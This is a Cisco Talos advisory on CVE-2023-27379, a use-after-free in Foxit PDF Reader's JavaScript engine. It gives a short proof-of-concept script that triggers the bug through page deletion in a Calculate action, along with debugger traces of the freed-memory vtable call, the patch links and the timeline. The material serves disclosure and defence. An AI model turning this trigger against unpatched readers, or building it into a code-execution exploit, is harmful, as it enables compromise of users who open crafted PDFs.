Headline
CVE-2023-27379: TALOS-2023-1756 || Cisco Talos Intelligence Group
A use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 12.1.2.15332. By prematurely deleting objects associated with pages, a specially crafted PDF document can trigger the reuse of previously freed memory, which can lead to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially crafted, malicious site if the browser plugin extension is enabled.
SUMMARY
A use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 12.1.2.15332. By prematurely deleting objects associated with pages, a specially crafted PDF document can trigger the reuse of previously freed memory, which can lead to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially crafted, malicious site if the browser plugin extension is enabled.
CONFIRMED VULNERABLE VERSIONS
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Foxit Reader 12.1.2.15332
PRODUCT URLS
Foxit Reader - https://www.foxitsoftware.com/pdf-reader/
CVSSv3 SCORE
8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE
CWE-416 - Use After Free
DETAILS
Foxit PDF Reader is one of the most popular PDF document readers. It aims for feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.
Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists a use-after-free vulnerability in the way Foxit Reader handles certain events of form elements, such as text fields or buttons. This can be illustrated by the following proof-of-concept code:
var b = this.getAnnots();
getField("txt5").setAction("Calculate",'app.activeDocs[0].deletePages();app.activeDocs[0].deletePages();');
getField('List Box0').setFocus();
this.deletePages();
this.pageNum = 1;
this.bookmarkRoot.createChild("a","");
The above code simply set the Calculate action for the field txt5. An event in the above code triggers the Calculate action. The execution of the action frees a lot of objects. Later a freed object is used without any validation, leading to a use-after-free condition. We can observe the following in the debugger (with PageHeap enabled):
0:000> g
Breakpoint 1 hit
eax=00000005 ebx=30428f98 ecx=30428f98 edx=00000005 esi=1958dfa0 edi=15accbe0
eip=019eef94 esp=0060de58 ebp=0060de70 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c14:
019eef94 56 push esi ; [1]
0:000> dd esi
1958dfa0 0590c25c 1958fff8 00000000 00000000
1958dfb0 00000000 00000000 00000000 00000004
1958dfc0 00000000 00000000 00000000 00000000
1958dfd0 00000000 00000004 19591fe8 19593fe8
1958dfe0 35732ff8 3602ac00 00000000 00000000
1958dff0 19595ff8 39eaafe0 00000000 d0d0d0d0
1958e000 ???????? ???????? ???????? ????????
1958e010 ???????? ???????? ???????? ????????
0:000> p
eax=00000005 ebx=30428f98 ecx=30428f98 edx=00000005 esi=1958dfa0 edi=15accbe0
eip=019eef95 esp=0060de54 ebp=0060de70 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c15:
019eef95 e866130000 call FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x298f80 (019f0300)
0:000>
eax=3bad5f80 ebx=30428f98 ecx=00000001 edx=00000005 esi=1958dfa0 edi=15accbe0
eip=019eef9a esp=0060de54 ebp=0060de70 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c1a:
019eef9a 8b7df4 mov edi,dword ptr [ebp-0Ch] ss:002b:0060de64=1c766fc0
0:000>
eax=3bad5f80 ebx=30428f98 ecx=00000001 edx=00000005 esi=1958dfa0 edi=1c766fc0
eip=019eef9d esp=0060de54 ebp=0060de70 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c1d:
019eef9d 8bcf mov ecx,edi
0:000>
eax=3bad5f80 ebx=30428f98 ecx=1c766fc0 edx=00000005 esi=1958dfa0 edi=1c766fc0
eip=019eef9f esp=0060de54 ebp=0060de70 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c1f:
019eef9f 50 push eax
0:000> p
eax=3bad5f80 ebx=30428f98 ecx=1c766fc0 edx=00000005 esi=1958dfa0 edi=1c766fc0
eip=019eefa0 esp=0060de50 ebp=0060de70 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c20:
019eefa0 e8cb57ffff call FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28d3f0 (019e4770) ; [2]
0:000> u
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c20:
019eefa0 e8cb57ffff call FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28d3f0 (019e4770)
019eefa5 85c0 test eax,eax
019eefa7 7810 js FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c39 (019eefb9)
019eefa9 56 push esi
019eefaa 8bcb mov ecx,ebx
019eefac e84f130000 call FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x298f80 (019f0300)
019eefb1 50 push eax
019eefb2 8bcf mov ecx,edi
0:000> bp 019eefa5 ; [3]
0:000> p
Breakpoint 0 hit
eax=0060d718 ebx=0060d784 ecx=02bc0420 edx=00000000 esi=3b7d6ff8 edi=36618ff8
eip=02eee239 esp=0060d6f0 ebp=0060d730 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!FXJSE_GetClass+0x269:
02eee239 ffd1 call ecx {FoxitPDFReader!safe_vsnprintf+0xf13360 (02bc0420)} ; [4]
0:000> g
Breakpoint 0 hit
eax=0060d718 ebx=0060d784 ecx=02bc0420 edx=00000000 esi=1f584ff8 edi=1c374ff8
eip=02eee239 esp=0060d6f0 ebp=0060d730 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
FoxitPDFReader!FXJSE_GetClass+0x269:
02eee239 ffd1 call ecx {FoxitPDFReader!safe_vsnprintf+0xf13360 (02bc0420)} ; [5]
0:000>
0:000> g
Breakpoint 2 hit
eax=00000002 ebx=30428f98 ecx=a94b1d6f edx=00000000 esi=1958dfa0 edi=1c766fc0
eip=019eefa5 esp=0060de58 ebp=0060de70 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c25:
019eefa5 85c0 test eax,eax
0:000> dd esi ; [6]
1958dfa0 ???????? ???????? ???????? ????????
1958dfb0 ???????? ???????? ???????? ????????
1958dfc0 ???????? ???????? ???????? ????????
1958dfd0 ???????? ???????? ???????? ????????
1958dfe0 ???????? ???????? ???????? ????????
1958dff0 ???????? ???????? ???????? ????????
1958e000 ???????? ???????? ???????? ????????
1958e010 ???????? ???????? ???????? ????????
0:000> u
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c25:
019eefa5 85c0 test eax,eax
019eefa7 7810 js FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c39 (019eefb9)
019eefa9 56 push esi
019eefaa 8bcb mov ecx,ebx
019eefac e84f130000 call FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x298f80 (019f0300)
019eefb1 50 push eax
019eefb2 8bcf mov ecx,edi
019eefb4 e8f75fffff call FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28dc30 (019e4fb0) ; [7]
019eefb9 5f pop edi
At [1] above, we see the second argument of the function at [2] being pushed onto the stack. The value being pushed comes from the register esi. At [3], a breakpoint is set on the address after a call to the function to examine the function argument. The function is called at [2] which in turn executes the Calculate action. The Calculate action contains JavaScript code to delete pages, and the method associated with deletPage is called at [4] and [5]. This method frees a large number of objects. Once the function returns, the value passed to the function is checked at [6]. It can be observed that the memory pointed to by the register esi is freed. At [6], the value in esi is pushed onto the stack as an argument to the function at [7]. The function called at [7] uses this value without any validation. This can be observed in a debugger at the time of the crash:
0:000> g
(26e4.19cc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=1c766fc0 ebx=30428f98 ecx=1958dfa0 edx=00000000 esi=1958dfa0 edi=00000002
eip=019e4fef esp=0060de14 ebp=0060de48 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28dc6f:
019e4fef 8b01 mov eax,dword ptr [ecx] ds:002b:1958dfa0=????????
0:000> dd ecx
1958dfa0 ???????? ???????? ???????? ????????
1958dfb0 ???????? ???????? ???????? ????????
1958dfc0 ???????? ???????? ???????? ????????
1958dfd0 ???????? ???????? ???????? ????????
1958dfe0 ???????? ???????? ???????? ????????
1958dff0 ???????? ???????? ???????? ????????
1958e000 ???????? ???????? ???????? ????????
1958e010 ???????? ???????? ???????? ????????
0:000> u
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28dc6f:
019e4fef 8b01 mov eax,dword ptr [ecx]
019e4ff1 ff507c call dword ptr [eax+7Ch]
019e4ff4 8bc8 mov ecx,eax
019e4ff6 8945dc mov dword ptr [ebp-24h],eax
019e4ff9 8b10 mov edx,dword ptr [eax]
019e4ffb ff5204 call dword ptr [edx+4]
019e4ffe 85c0 test eax,eax
019e5000 7405 je FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28dc87 (019e5007)
0:000> kb
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0060de48 019eefb9 00000000 1958dfa0 30428f98 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28dc6f
01 0060de70 019f0b31 1958dfa0 a94b1dbb 3bad5f80 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x297c39
02 0060de9c 019e5639 3bad7ff8 a94b1c0b 3bad5f80 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2997b1
03 0060df2c 01c67241 3bad5f80 a94b1c7b 1c74afd8 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28e2b9
04 0060df5c 01120af8 18e0df50 a94b1c8b ffffffff FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x50fec1
05 0060dfac 00aecc85 3bad5f80 a94b1cc7 387dafb4 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2e6258
06 0060dfe0 00aecd87 00000001 019e3edb 387dada0 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x7f45
07 0060dff4 00af4c21 387dada0 3bad5f80 00000001 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x8047
08 0060e02c 012b1c02 18e0df38 00000000 a94b2373 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0xfee1
09 0060e054 02c5efa1 18e0df38 0060e034 a94b23ef FoxitPDFReader!CryptUIWizExport+0x31eb2
0a 0060e0c8 02c6080a 18e0c1a0 18e03640 00000000 FoxitPDFReader!safe_vsnprintf+0xfb1ee1
0b 0060e114 02c5d9c2 26822ff8 419baff8 0060e0d8 FoxitPDFReader!safe_vsnprintf+0xfb374a
0c 0060e168 02eee23b 26822ff8 0060e198 0060e190 FoxitPDFReader!safe_vsnprintf+0xfb0902
0d 0060e1b0 030d25ab 3c5d7600 41926e65 3c5d7600 FoxitPDFReader!FXJSE_GetClass+0x26b
0e 0060e218 030d1d6e 0060e260 41926e65 0060e338 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e3c9b
0f 0060e2ac 030d2025 0060e2dc 3c5d7600 0060e338 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e345e
10 0060e2f4 030d1eab 0060e30c 00000007 0060e34c FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e3715
11 0060e310 032f432b 00000007 0060e34c 3c5d7600 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e359b
12 0060e32c 03290389 41702339 4192700d 0000000e FoxitPDFReader!CFXJSE_Arguments::GetValue+0x405a1b
13 0060e378 03290389 4193eb6d 42091d85 42091dc9 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3a1a79
14 0060e3a4 0328ea10 4193eb6d 417021b1 42091d85 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3a1a79
15 0060e3bc 0328e839 00000000 00000000 00000002 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3a0100
16 0060e3e8 02f2aa8e 3c5d7600 41702339 42091d85 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x39ff29
17 0060e4f8 02f2a5a2 0060e68c 3c5d7600 0060e554 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3c17e
18 0060e580 02f132a4 0060e68c 3c5d7600 42a56024 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3bc92
19 0060e730 02f12da0 0060e7cc 42a56048 00000000 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x24994
1a 0060e744 02eec7af 0060e7cc 42a56048 a94b249b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x24490
1b 0060e7bc 02eed0e6 42a56024 36696ff8 42a56010 FoxitPDFReader!FXJSE_Runtime_Release+0xd5f
1c 0060e7f8 02b64a14 41f40fd8 225397dc 36696ff8 FoxitPDFReader!FXJSE_ExecuteScript+0x86
1d 0060e85c 02b65900 00000000 0060e8e8 0060e890 FoxitPDFReader!safe_vsnprintf+0xeb7954
1e 0060e870 0110119d 0060e8e8 0060e890 a94b2b87 FoxitPDFReader!safe_vsnprintf+0xeb8840
1f 0060e8a0 01100064 406caf40 00000015 0060e8c8 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2c68fd
20 0060e8e0 010feae0 225437b8 387dada0 36022fb8 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2c57c4
21 0060e934 00a2a522 0060e964 387dada0 36022fb8 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2c4240
22 0060e984 00c876db 00000000 a94b368f 7fffffff FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x8a02
23 0060f5a8 0433d52b 00000000 00000000 a94b355f FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x64bcb
24 0060f678 0433e704 00000429 00000000 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1d0dfb
25 0060f69c 043390aa 00000429 00000000 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1d1fd4
26 0060f710 0433991d 20120e20 000e0522 00000429 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1cc97a
27 0060f730 76dd23a3 000e0522 00000429 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1cd1ed
28 0060f75c 76dc30b6 043398e9 000e0522 00000429 USER32!_InternalCallWinProc+0x2b
29 0060f854 76dc1975 043398e9 00000000 00000429 USER32!UserCallWinProcCheckWow+0x4c6
2a 0060f8d0 76dc14c0 00000429 0060f8f8 00c0d3c4 USER32!DispatchMessageWorker+0x4a5
2b 0060f8dc 00c0d3c4 0f41eec8 0f41eec8 061a7798 USER32!DispatchMessageW+0x10
2c 0060f8f8 00c0d483 061a7798 00c0d3f0 ffffffff FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x128684
2d 0060f918 0475b2fe 00000000 061d3b14 07762000 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x128743
2e 0060f930 04520cc0 007f0000 00000000 0c1b4360 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x5eebce
2f 0060f97c 75f67d59 07762000 75f67d40 0060f9e4 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x3b4590
30 0060f98c 772fb74b 07762000 5ddcd913 00000000 KERNEL32!BaseThreadInitThunk+0x19
31 0060f9e4 772fb6cf ffffffff 77328651 00000000 ntdll!__RtlUserThreadStart+0x2b
32 0060f9f4 00000000 04520d8f 07762000 00000000 ntdll!_RtlUserThreadStart+0x1b
In the above debugger output, we can observe ecx contains the same memory pointer which belongs to a freed allocation. The value in ecx is dereferenced as if it were an object pointer. This directly leads to a use-after-free condition and results in a crash. Subsequent instructions constitute the usual vtable function call, with the actual function pointer coming from an area pointed to by ecx. This would give an attacker direct control over execution control flow.
Since additional Javascript code can be executed between object free and reuse, freed memory could be put under attacker control. With careful memory layout manipulation, this can lead to further memory corruption and ultimately arbitrary code execution. Additionally, it should be noted that this vulenrability is very similar to a previously reported use-after-free that was tracked as CVE-2022-32774 and TALOS-2022-1600.
VENDOR RESPONSE
Foxit provided patches here: https://www.foxit.com/downloads/#Foxit-Reader/ and here: https://www.foxit.com/downloads/#Foxit-PhantomPDF-Business/
TIMELINE
2023-06-12 - Vendor Disclosure
2023-07-19 - Vendor Patch Release
2023-07-19 - Public Release
Discovered by Aleksandar Nikolic and Kamlapati Choubey of Cisco Talos.
Related news
Seven of the vulnerabilities included in today’s Vulnerability Roundup have a CVSS severity score of 9.8 out of a possible 10.
A use-after-free vulnerability exists in the JavaScript engine of Foxit Software's PDF Reader, version 12.0.1.12430. By prematurely deleting objects associated with pages, a specially-crafted PDF document can trigger the reuse of previously freed memory, which can lead to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially-crafted, malicious site if the browser plugin extension is enabled.
Aleksandar Nikolic of Cisco Talos discovered these vulnerabilities. Cisco Talos recently discovered several use-after-free vulnerabilities in Foxit Reader that could lead to arbitrary code execution. The Foxit Reader is one of the most popular PDF document readers, which aims to have feature parity with Adobe’s Acrobat Reader. As